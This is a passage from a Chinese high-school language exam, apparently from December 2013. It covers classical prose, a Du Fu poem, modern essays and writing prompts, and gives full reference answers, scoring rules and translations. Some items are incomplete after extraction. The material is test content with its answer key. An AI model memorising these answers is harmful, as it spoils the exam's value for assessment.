@#@无名之土木,不当与御灾捍患者为比,是戾于古也明矣!
@#@今之雄毅而硕者有之,温愿而少者有之,升阶级、坐堂筵、耳弦匏、口粱肉、载车马、拥徒隶者皆是也。
@#@解民之悬,清民之暍,未尝贮于胸中。
@#@民之当奉者,一日懈怠,则发悍吏,肆淫刑,驱之以就事,较神之祸福,孰为轻重哉?
@#@平居无事,指为贤良;@#@一旦有天下之忧,当报国之日,则恛挠脆怯,颠踬窜踣,乞为囚虏之不暇。
@#@此乃缨弁④言语之土木尔,又何责其真土木耶?
@#@故日:
@#@以今言之,则庶乎神之不足过也。
@#@@#@既而为诗,以纪其末:
@#@土木其形,窃吾民之酒牲,固无以名;@#@土木其智,窃吾君之禄位,如何可仪?
@#@禄位颀颀,酒牲甚微,神之飨也,孰云其非!
@#@视吾之碑,知斯文之孔悲!
@#@@#@(取材于陆龟蒙《野庙碑》)@#@注:
@#@①窆:
@#@下葬。
@#@②甿:
@#@同“氓”,老百姓。
@#@③丁:
@#@当,遭逢。
@#@④缨弁:
@#@礼帽。
@#@@#@6.下列语句中,加点词的解释不正确的一项是@#@A.因留之不忍去去:
@#@离开@#@B.山椒水滨多淫祀淫:
@#@过分,无节制@#@C.民之当奉者奉:
@#@供给,供养@#@D.禄位颀颀颀:
@#@高,长@#@7.下列各组语句中,加点的词意义和用法都相同的一组是@#@A.@#@B.@#@C.@#@D.@#@8.下列对文中语句的理解,不符合文意的一项是@#@A.古者悬而窆,用木@#@古时候把棺材吊起来放进墓穴,用的是木板@#@B.车马徒隶,丛杂怪状@#@车马仆从,众多繁杂奇形怪状@#@C.虽然,若以古言之,则戾@#@虽然这样做,(但)如果按照古时候来说,就不合事理了@#@D.视吾之碑,知斯文之孔悲@#@看看百姓给我树立的这块碑,(就)知道文章中的悲哀有多大了@#@9.下列的理解和分析,不符合文意的一项是@#@A.第一段介绍“碑”本是记载死者功德的木板,其作用是悼念死者寄托哀思。
@#@@#@B.在祭祀的时候,老百姓全家老小都在忙碌地准备各种祭品,显得非常虔诚。
@#@@#@C.作者认为,百姓自己造出了神鬼偶像,又盲目地祭祀它们,显得十分可悲。
@#@@#@D.作者把统治者比作老百姓迷信愚昧供奉的神鬼偶像,揭露官僚机构的腐朽。
@#@@#@三、本大题共6小题。
@#@共36分。
@#@@#@10.作者在文中两次提到“以今言之,则庶乎神之不足过也”,意思是“用当今的情况来看,这些无名的土木偶像几乎就不值得怪罪了”。
@#@作者所说的“当今的情况”是怎样的?
@#@请用自己的话分条概括出来。
@#@(4分)@#@11.本文的语言很有特点,既有嬉笑怒骂,又显得严肃冷峻,发人深省。
@#@请结合原文就你感受最深的一点做分析。
@#@不少于200字。
@#@(12分)@#@阅读下面这首唐诗,完成12、13题。
@#@@#@短歌行赠王郎司直①@#@杜甫@#@王郎酒酣拔剑斫地歌莫哀!
@#@我能拔尔抑塞磊落之奇才。
@#@豫章②翻风白日动,鲸鱼跋浪沧溟开。
@#@且脱佩剑休裴回。
@#@西得诸侯棹锦水③,欲向何门趿珠履?
@#@仲宣楼④头春色深,青眼高歌望吾子。
@#@眼中之人吾老矣!
@#@@#@注:
@#@①王郎司直:
@#@郎,对年轻人的称呼;@#@司直,官职名称。
@#@②豫章:
@#@豫、章。
@#@两种高大的乔木名。
@#@③锦水:
@#@即今四川的锦江。
@#@④仲宣楼:
@#@杜甫送别王郎的地方。
@#@@#@12.下列对本诗的理解和赏析,不正确的一项是(3分)@#@A.诗的前两句表达了诗人对王郎才华的欣赏,对其境遇的理解,劝他不要借酒浇愁。
@#@@#@B.诗人用树木在大风中摇动的景象,暗示王郎此时郁积在内心的激动与愤懑之强烈。
@#@@#@C.“西得”二句表达了诗人对王郎前往蜀地一展才华的美好祝福,契合了送别的情境。
@#@@#@D.“仲宣”二句点明了送别的地点、时间,还写出诗人用高歌一曲的方式为王郎送行@#@13.诗的最后一句“眼中之人吾老矣”表达了诗人怎样的心情?
@#@(4分)@#@14.用斜线(/)给下面短文中画横线的部分断句。
@#@(5分)@#@夫盗亦人也,冠屡焉,衣服焉。
@#@其所以异者,退逊之心正廉之节不常其性耳视玉帛而取之者则曰牵于寒饿视家国而取之者则曰救彼涂炭牵于寒饿者无德而言矣救彼涂炭者则宜以百姓心为心。
@#@@#@(取材于罗隐《英雄之言》)@#@15.在横线处写出诗文原句。
@#@(限选其中4道题)(8分)@#@①兄弟不知,。
@#@静言思之,。
@#@(《诗经·@#@氓》)@#@②由也为之,,可使有勇,。
@#@(《论语·@#@子路、曾皙、冉有、公西华侍坐》)@#@③鹏之背,;@#@怒而飞,。
@#@(《庄子·@#@逍遥游》)@#@④或取诸怀抱,;@#@或因寄所托,。
@#@(王羲之《兰亭集序》)@#@⑤间关莺语花底滑,。
@#@冰泉冷涩弦凝绝,。
@#@(白居易《琵琶行》)@#@⑥有志矣,;@#@然力不足者,。
@#@(王安石《游褒禅山记》)@#@四、本大题共3小题.共12分。
@#@阅读下面的文章.完成16—18题。
@#@@#@网络社会是一个“虚拟社会”。
@#@一个人在家中借助网络能参与全球范围的社会生活。
@#@这在以往任何一个时代都是不可思议的。
@#@网络这个虚拟世界代表了人类文明的一个进步。
@#@网络极大地拓展了人们的社会交往,发展了个人的社会性存在。
@#@使个人摆脱了地理区域的局限和民族生活的局限,使个人成为“世界历史的个人”。
@#@网络大大拓展了我们社会交往的范围,每一种重要的发明都将成为全人类的财富。
@#@正如马克思所说的:
@#@“当交往只限于毗邻地区的时候,每一种发明在每一个地方都必须重新开始……在历史发展的最初阶段,每天都在重新发明,而且每个地方都是单独进行的。
@#@”网络这样一个遍及全球的交往手段,保证了①。
@#@@#@网络这个世界始终是虚拟的。
@#@它虽然发展了人的社会性存在,但却是以一种异化的方式来发展的。
@#@自远古时候起,任何文明的形成和发展,始终需要一定范围内和一定程度上的禁忌。
@#@禁忌是文明的必要前提与动力。
@#@现实中的娱乐始终包含着禁忌,但网上娱乐可以说是百无禁忌的,人们可以毫不担忧地“为所欲为”,虽然都只是虚拟的“作为”。
@#@可是,就在这没有禁忌的虚拟世界之中,缺失了②。
@#@在这样的网上娱乐世界里,我们获得了怎样的享受呢?
@#@可以说是“抽象的享受”。
@#@在网络游戏里,自己的分数不断升级,就可以得到很大的刺激。
@#@我们似乎是在锻炼自己的灵敏度和反应能力,形成一种机灵。
@#@但这种机灵是属于“小脑”而不是“大脑”的,更不是“心灵”的。
@#@更何况,网络游戏指向空洞的“无限进取”。
@#@在这样的“无限进取”中,你几乎永不可能停止游戏。
@#@这种“无限性”,在哲学上称为“坏的无限性”。
@#@@#@有人还会希望通过网络得到爱情。
@#@停留在网上的“爱情”,始终只是观念的、虚拟的爱。
@#@倘若两个人之间有了“网恋”,他与她,最终还是要见面的。
@#@直到见面之前,他们那个网恋之“恋”,始终只在主观的想象之中。
@#@他们终于要求克服这种虚拟性质,他们希望真实地照面。
@#@她在注视他的那一刻,看到他的腼腆害羞。
@#@他在注视她的那一刻,看到了她的妩媚动人。
@#@在这个时候,也只是在这个时候,他们之间才会发生真实的爱情。
@#@举凡一切现实生活当中的愉快、幸福,总是要求面对障碍并且克服障碍,总是需要感性的力量。
@#@人的社会本质的真实实现,始终是人的感性力量的结果。
@#@@#@网络永远是一个虚拟的世界,在这个世界中,我们不可能去完成一种感性真实的文明创造,也不可能去实际地推动社会进步。
@#@我们每个人,无论是年轻人还是年长的人,都应当通过现实的努力来改进现实,以让这个现实更符合人心的愿望。
@#@@#@(取材于王德峰《网络到底给了我们什么》)@#@16.下列说法不符合文意的一项是(3分)@#@A.网络世界最大的特点就是“虚拟性”。
@#@@#@B.社会的进步还是要靠现实的努力来完成。
@#@@#@C.文中所说的“禁忌”就是各种约束。
@#@@#@D.网络虚拟情感是现实情感发展的基础。
@#@@#@17.根据文意,把文章中①、②两处画线句子分别填写完整。
@#@(每空不超过10个字)(4分)@#@18.在网络上,会有许多网友喜欢帮别人出主意解决难题,人们称之为“网络雷锋”。
@#@请你结合文中的观点简要分析这种现象。
@#@(5分)@#@五、本大题共3小题.共15分。
@#@阅读下面的作品。
@#@完成19—21题。
@#@@#@父亲和他用过的农具@#@李汉荣@#@父亲已经七十多岁,干不了农活了,他用过的农具也都退休了,安静地躺在不起眼的角落里,抚摸它们,像抚摸父亲经历的那些岁月,像抚摸土地的记忆……@#@锄头@#@弯月形的,像下弦月,锄把一动,又是上弦月了。
@#@弯月形锄头刃口浅,挖地时点到为止。
@#@挖下去,土顺从地随着刃口起伏,杂草认错似地倒下来,庄稼们兴奋地招手,好像看见了白昼的月亮。
@#@在天黑的时候扛着这种锄头劳动或走路,人就不容易疲倦,你随时可以用锄头敲击什么,敲敲石头,敲敲树木,敲敲电线杆,有时不声不响,那一定是你用锄头在敲击自己的内心。
@#@当月亮出来了,月光照在锄头上,锄头被镀成一个月亮,你是扛着月亮走在路上。
@#@为什么土地上的人们再苦再累也不绝望?
@#@我就想,肯定是因为他们和月亮的关系,天上有月亮,手里也或多或少握着一点月光,哪怕是握着月亮的影子,人就对日子有了念想。
@#@先人们把手中的农具打磨成月亮的样子,按照天上的梦境安排人间的生活,大概很古早以前的先人们,就以这种农具为后人立下了遗嘱:
@#@活下去,有月亮在,有月亮的影子在,夜再黑,也不会黑得伸手不见五指。
@#@@#@耙@#@长方形木框下面,钉满纵横排列的铁钉或木钉。
@#@用它将旱田和水田的坷垃碾细,也用于平整土地。
@#@用耙碾地的时候农人是站在耙上面,靠牛的力气、人的重量、铁钉或木钉的锋利,将土地碾细或整平。
@#@耙田的时候是农人最潇洒的时候,耙在坎坷不平的土地上颠簸,农人的身体时而挺直,时而倾斜,时而左转,时而右旋,时而紧张,时而轻松。
@#@遇到急转弯,农人手挥牛鞭,鞭影在空中划过一道半圆,农人的身体随弯度的展开也呈弓形,弯转过来了,农人又挺直了身子,牛歌悠悠从口中流出。
@#@后来我看过芭蕾舞,我又觉得父亲耙田的姿势颇像一种芭蕾舞,甚至我觉得比舞台上的芭蕾演出更丰富也更生动——沉默的牛是美的,唱着牛歌、手舞鞭梢、俯仰旋转着的父亲的身影是美的,从牛背上缓缓下沉的夕阳是美的,是那种含着淡淡伤感的美;@#@甚至那从牛蹄和耙尖下溅起的泥浆也是美的,是那种朴素得近于原始的美。
@#@夕阳下起伏的泥浪散发着古老的芳香。
@#@@#@井绳@#@通向月亮的路并不是美国航天局发现的。
@#@在美国之前,甚至远在公元前,我们的先人就已经发现了接近月亮的最佳方式。
@#@美国航天局用了很大的劲爬上了月亮,只抓了几块冰冷的石头拿回来让人类看,让人类扫兴,让人类的神话和童话破灭,让孩子们面对冰冷的石头再不做美丽的梦。
@#@美国航天局让人类离月亮越来越远,离石头越来越近。
@#@我父亲不知道人类的宇航船在天上折腾些什么,我父亲心目中的月亮仍是古时候的那个月亮,那是神秘的月亮,是嫦娥的月亮,是吴刚的月亮。
@#@我不读诗的父亲也知道,李白打捞的就是水里的这个月亮。
@#@@#@我父亲几乎天天都要和月亮会面。
@#@在他漫长的一生中,他一直都在打捞水中的那个月亮。
@#@你见过我父亲在月夜里挑水的情景吗?
@#@他望一眼天上的月亮,他微笑着低下头来,就看见在井水里等着出水的月亮。
@#@我父亲就把月亮打捞上来。
@#@两个水桶里,盛着两个月亮,一前一后,猛一看,是父亲挑着月亮;@#@仔细看,就会发现是两个月亮抬着父亲,一闪一闪在地上行走。
@#@@#@通向月亮的路是多长呢?
@#@美国航天局走了30万公里,他们到达了一块冰冷的石头。
@#@我丈@#@量了一下父亲用过的井绳,全长三米,父亲通过这三米的距离,打捞起完整的月亮和美丽的月光。
@#@审美是需要保持距离的。
@#@取消距离,美国得到一块冰凉的石头;@#@谦卑地、怀着敬畏守着一段距离,我的父亲披着满身满心的圣洁月光。
@#@@#@我发现,美国是一个会折腾的技术员,父亲是一个与天地精神往来的美学家。
@#@为什么要去解剖一个美女呢?
@#@为什么要把天地奥秘都去洞穿呢?
@#@为什么要用冷冰冰的技术去肢解万物的大美大神秘呢?
@#@我记得父亲的那根井绳,三米的长度。
@#@三米之下,就能触到孔夫子和李白的那个月亮;@#@三米之上,到处是伸手可掬的白银一样的月光。
@#@@#@(取材于作者同名散文,有删改)@#@19.下列对文章内容的理解,不正确的两项是(4分)@#@A.作者用拟人的手法把父亲用锄头耕作的场景表现得充满情趣,这能使读者从中体会到父亲劳作时愉快的心情。
@#@@#@B.虽然文中说“耙田的时候是农人最潇洒的时候”,但那一系列体态变化的描述,也能暗示出农人劳作的辛苦。
@#@@#@C.作者通过对比,表现了中西方对月亮的不同认识,对美国的科学技术进行了的讽刺,收到了强烈的艺术效果。
@#@@#@D.父亲始终怀着一种审美的态度对待自然万物,所以在他每个劳动的场景中都会使人感受到人与自然的和谐。
@#@@#@E.作者通过对父亲使用过的农具的描述,既表达出对父辈农耕生活的向往,又传达出了对生活的独特思考。
@#@@#@20.文中写父亲月夜挑水一段写的十分精妙,请作简要赏析。
@#@(5分)@#@21.请简要分析“月亮”这个意象在文中具有怎样的含义。
@#@(6分)@#@六、本大题共2小题。
@#@共60分。
@#@@#@22.请你为《父亲和他用过的农具》一文写一段推荐语,把它推荐给自己的同学阅读。
@#@150字左右。
@#@(10分)@#@23.有人说:
@#@“人生有三种遗憾,一是完成了心愿,一是不能完成心愿,一是没有心愿。
@#@”这句话带给你怎样的思考?
@#@请写一篇不少于800字的文章。
@#@除诗歌外,文体不限。
@#@(50分)@#@2013年12月高三年级教学质量调研试卷@#@语文参考答案@#@一、本大题共5小题。
@#@每小题3分。
@#@共15分。
@#@@#@1.C(A松弛相形见绌chù@#@;@#@B谈笑风生戏谑xuè@#@;@#@D旁征博引摇曳yè@#@)@#@2.B(各行其是:
@#@各自按照自己认为对的去做。
@#@)@#@3.D(A语序不当;@#@B成分残缺;@#@C搭配不当)@#@4.A(孟子是战国时期儒家学派重要代表人物。
@#@)@#@5.A@#@二、本大题共4小题,每小题3分,共12分。
@#@@#@6.A(去:
@#@舍弃,丢掉)@#@7.D(A助词,以;@#@连词,来。
@#@B代词,它,指野庙;@#@助词,的。
@#@C介词,在;@#@介词,比)@#@8.D(看看我树立的这块“野庙碑”,就知道文章中的悲哀有多大了。
@#@)@#@9.B(“老百姓全家老小都在忙碌地准备各种祭品”原文中没有提及。
@#@)@#@三、本大题共6小题,共36分。
@#@@#@10.(4分)@#@【答案要点】@#@作者笔下的“当今的情况”:
@#@@#@
(1)官吏们过着奢侈的生活;@#@
(2)官吏们从不把百姓疾苦放在心上;@#@(3)官吏们欺压百姓;@#@@#@(4)官吏们虚伪无耻。
@#@@#@(评分标准:
@#@一点1分。
@#@意思对即可。
@#@)@#@11.(12分)@#@(评分标准:
@#@能结合原文(4分),有具体恰当的分析(6分),语言表述清晰(2分)。
@#@)@#@12.(3分)B(诗人写豫章在大风中摇动时,可以动摇太阳。
@#@这句用夸张的手法写王郎的才能杰出。
@#@)@#@13.(4分)@#@答案示例:
@#@这句诗既表达出诗人对自己才华不得施展的悲愤之情,也表达出对王郎的劝勉鼓励之情。
@#@@#@(评分标准:
@#@一点2分,意思对即可。
@#@)@#@14.(5分)@#@退逊之心/正廉之节/不常其性耳/视玉帛而取之者//则曰/牵于寒饿/视家国而取之者//则曰/救彼涂炭/牵于寒饿者/无德而言矣/救彼涂炭者/则宜以百姓心为心。
@#@@#@(评分标准:
@#@错断、漏断两处1分。
@#@)@#@15.(8分)@#@①咥其笑矣躬自悼矣②比及三年且知方也@#@③不知其几千里也其翼若垂天之云④悟言一室之内放浪形骸之外@#@⑤幽咽泉流冰下难凝绝不通声暂歇⑥不随以止也亦不能至也@#@以上答案以课本所取版本为准。
@#@@#@(评分标准:
@#@每空1分,句中有错该空不得分。
@#@)@#@四、本大题共3小题。
@#@共12分。
@#@@#@16.(3分)D(“网络虚拟情感是现实情感发展的基础”在原文中无依据。
@#@)@#@17.(4分)@#@答案示例:
@#@①文明成果的保存与传播②娱乐的精神价值方向@#@(评分标准:
@#@一点2分,意思对即可。
@#@)@#@18.(5分)@#@答案示例:
@#@网友的做法表现出网络能够拓展人们相互交往空间的优点,也能够反映出在虚拟空间中许多人还是保有美德的,如果能把这种在网络中表现出的美德运用到现实生活中作用会更大。
@#@@#@(评分标准:
@#@结合文中观点3分,分析合理2分。
@#@)@#@五、本大题共3小题,共15分。
@#@@#@19.(4分)CD(C作者没有对美国的科学技术进行讽刺。
@#@D“父亲始终怀着一种审美的态度对待自然万物”在原文中没有体现。
@#@)@#@20.(5分)@#@答案示例:
@#@作者笔下的父亲月夜挑水不是一种艰辛的体力劳动,倒像是一种舞蹈,表现出一种融于自然、乐于自然的闲适。
@#@而“仔细看,就会发现是两个月亮抬着父亲”一句,浪漫、诗意而想象大胆。
@#@@#@(评分标准:
@#@分析恰当4分,语言顺畅1分。
@#@)@#@21.(6分)@#@【答案要点】@#@象征着农民改变自己生活的美好愿望。
@#@@#@象征着中国的传统文化。
@#@@#@象征着中国人自然、闲适、快乐的生活。
@#@@#@(评分标准:
@#@一点2分,意思对即可。
@#@)@#@六、本大题共2小题,共60分。
@#@@#@22.(10分)略(评分标准:
@#@对文章特点把握准确5分,语言得体3分,语言顺畅2分。
@#@)@#@23.(50分)略(评分标准:
@#@参照2013年北京高考语文作文评分标准。
@#@)@#@文言文参考译文:
@#@@#@“碑”,(意思)就是(“悲哀”的)“悲”。
@#@古时候把棺材吊起来放进墓穴,用(的是)木板。
@#@后世人在这块木板上写字用来表彰墓主的功德,因此把木板留下不忍丢掉,“碑”的名称由此得来。
@#@自从秦汉以来,活着并有功德政绩的人,(人们)也给他树碑,而且又把木板改为石块,这就不符合它的名称(原意)了。
@#@我给这座乡野神庙立碑,并非由于(庙里的鬼神)有功德政绩可以记载,就是因为悲哀那些农民竭尽他们的力量,来供奉没有姓名的泥木雕像罢了。
@#@@#@浙东一带(百姓)喜好祭祀鬼神,山上水边有很多不正当的祭祀。
@#@那些庙里(的鬼神)相貌有的雄壮而刚毅、黝黑而魁梧的,就叫将军;@#@有温和而忠厚,白皙而年青的,就叫某某郎;@#@有老妇人神情尊贵严肃的,就叫姥;@#@有妇女容貌艳丽的,就叫姑。
@#@他们住的地方设庭堂显示其宽敞,用台阶显示其高峻,两旁高大的古老树木,密密的种植,树干密集枝条如拱,女萝藤条依附在(它们)身上,猫头鹰在枝叶中筑巢。
@#@(庙里还有许多木雕泥塑的)车马仆从,杂七杂八,众多繁杂奇形怪状。
@#@老百姓创造了这一切,老百姓(却又)害怕这一切。
@#@(每逢)重大祭祀杀牛,中等祭祀宰猪,小一点的祭祀也起码要用鸡狗作供品。
@#@像鱼豆、肉酒这类供品,百姓家里缺少(是)可以的,(但是)供奉鬼神却是不可以少的。
@#@(农民相信,)(如果)某一天(祭神)松懈怠慢,灾祸也随即降临,老人小孩都提心吊胆地喂养着(祭祀用的)牲畜。
@#@(假使)有生病死人,百姓不说这是恰好碰到的,而是怀疑自己的命运,都把这些归于鬼神。
@#@@#@虽然这样,如果按照古时候(祭祀神鬼的礼俗)来说,就不合事理了;@#@如果用当今(的情况)来看一看,那么这些鬼神几乎就不值得怪罪了。
@#@为什么呢?
@#@难道不是因为死者生前抵御了大灾难,对抗了大祸患,他们死后,受到活着的人们用祭品祭祀。
@#@那些无名的泥木雕像,不配与抵御灾难、对抗祸患的人相比,这不合古时候祭祀的事理就明白了。
@#@当今(现实生活中)雄壮而刚毅、黝黑而魁梧的将军是有的,那些温和而忠厚、白皙而年青的郎官是有的。
@#@(那些)登上台阶,坐在高堂上筵宴,听着音乐,吃着美食,出门坐车马,随从一大群的人都是这样。
@#@解除人民的痛苦,医治人民的病痛(这些事),(他们)从来不曾放在心上。
@#@对于百姓应该供奉的,(如果)某一天(百姓表现得)怠慢,(他们)就会派遣凶狠的差吏,滥用刑罚,逼迫百姓纳贡,这跟那些泥木的鬼神对百姓的祸害,究竟哪个轻哪个重呢?
@#@平常在家里平安无事时候,(这些人)被看作贤良;@#@一旦国家有事,赶上报效国家的时候,(他们)却惶恐屈服软弱胆小,隐匿困顿狼狈逃窜,乞求当囚犯俘虏都没空。
@#@这些人只不过就是戴着官帽说着人话的泥木雕像罢了,又何必责怪那些真的泥木雕像呢?
@#@所以说,用当今的情况来看一看这些泥木雕像几乎就不值得怪罪了。
@#@@#@紧接着我作诗一首,放在碑文之后:
@#@泥捏木刻的鬼神,偷吃我百姓的酒浆和牲畜,这本来就名不正;@#@像土木鬼神一般的大官们,盗窃我国君的奉禄和爵位,这又当何论?
@#@达官贵人们的奉禄厚爵位高,土木鬼神们的祭酒供品少,谁又能说错了呢?
@#@看看我树立的这块“野庙碑”,就知道文章中的悲哀有多大了。
@#@@#@断句参考译文:
@#@@#@盗贼也是人,同样要戴帽穿靴,同样要穿着衣服。
@#@他们与常人有所不同的,是安分忍让的心与正直不贪的品格,这种美好的本性不能长久保持不变罢了。
@#@看见财宝就要窃取的,说我这是出于寒冷饥饿;@#@看见国家就要窃取的,说我这是拯救百姓的困苦。
@#@出于寒冷饥饿原因的人,不用去多说;@#@拯救百姓困苦的人,应该以百姓的心为心。
@#@@#@";i:
49;s:
45:
"部编版语文一年级拼音一天一练@#@";}
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